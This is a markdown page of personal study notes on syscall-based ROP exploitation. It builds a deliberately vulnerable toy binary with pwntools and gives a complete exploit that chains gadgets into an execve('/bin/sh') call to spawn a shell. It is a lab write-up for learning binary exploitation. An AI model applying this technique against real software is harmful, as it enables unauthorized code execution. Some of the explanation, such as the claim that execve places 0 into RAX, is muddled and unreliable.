Skip to content

Latest commit

 

History

History
127 lines (90 loc) · 3.42 KB

exploitation-w-syscalls.md

File metadata and controls

127 lines (90 loc) · 3.42 KB
description
09/22/2023

Exploitation w/ Syscalls

References

{% embed url="https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-syscall-execv" %}

{% embed url="https://ir0nstone.gitbook.io/notes/types/stack/syscalls/exploitation-with-syscalls" %}

First, we'll create a file with Python/pwntools:

import os
from pwn import *


context.arch = 'amd64'
context.os = 'linux'

elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 300;
        syscall;
        ret;
        
        pop rax;
        ret;
        pop rdi;
        ret;
        pop rsi;
        ret;
        pop rdx;
        ret;
    '''
)
elf.save('vuln')
os.system("chmod +x vuln")

It will first execute a read() syscall. This will read from a file descriptor (identifier for a file or other resource).

We can see this with strace:

strace ./vuln
execve("./vuln", ["./vuln"], 0x7ffd9782ca00 /* 22 vars */) = 0
read(0,
"\n", 300)

We can see execve() placing the value 0 into RAX (which the kernel checks), storing the value as a parameter (0) into RDI and calling read() or 0 which is the syscall number for read().

Analyzing Syscalls in Ghidra

Okay, so this was a little different.

We can see that the value, 0 is being moved onto the stack and being placed into the RDI register.

This is our invoke of the read() syscall since 0 is our syscall number.

We then write the value 300 (had to convert this from 0x12C) to the stack using RDX.

Lastly, we ret.

Ghidra Analysis

We can add "/bin/sh" by:

echo -en "/bin/sh\x00" >> vuln

After that, we can get the gadget address using strings:

strings -t x vuln | grep bin
   1238 /bin/sh

We see the offset from the base to the string is 0x1238.

Exploitation

Arming ourselves with the following information will allow us to get a shell.

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

binsh = elf.address + 0x1238

POP_RAX = 0x10000018
POP_RDI = 0x1000001a
POP_RSI = 0x1000001c
POP_RDX = 0x1000001e
SYSCALL = 0x10000015

payload = flat(
    'A' * 8,
    POP_RAX,
    0x3b,
    POP_RDI,
    binsh,
    POP_RSI,
    0x0,
    POP_RDX,
    0X0,
    SYSCALL
)

p.sendline(payload)
p.interactive()

Disclaimer: Unfortunately and for the first time, I wasn't really fond of Ir0nstone's guide on this one, so I will be adding some more examples.

As a result, this is still a work in progress.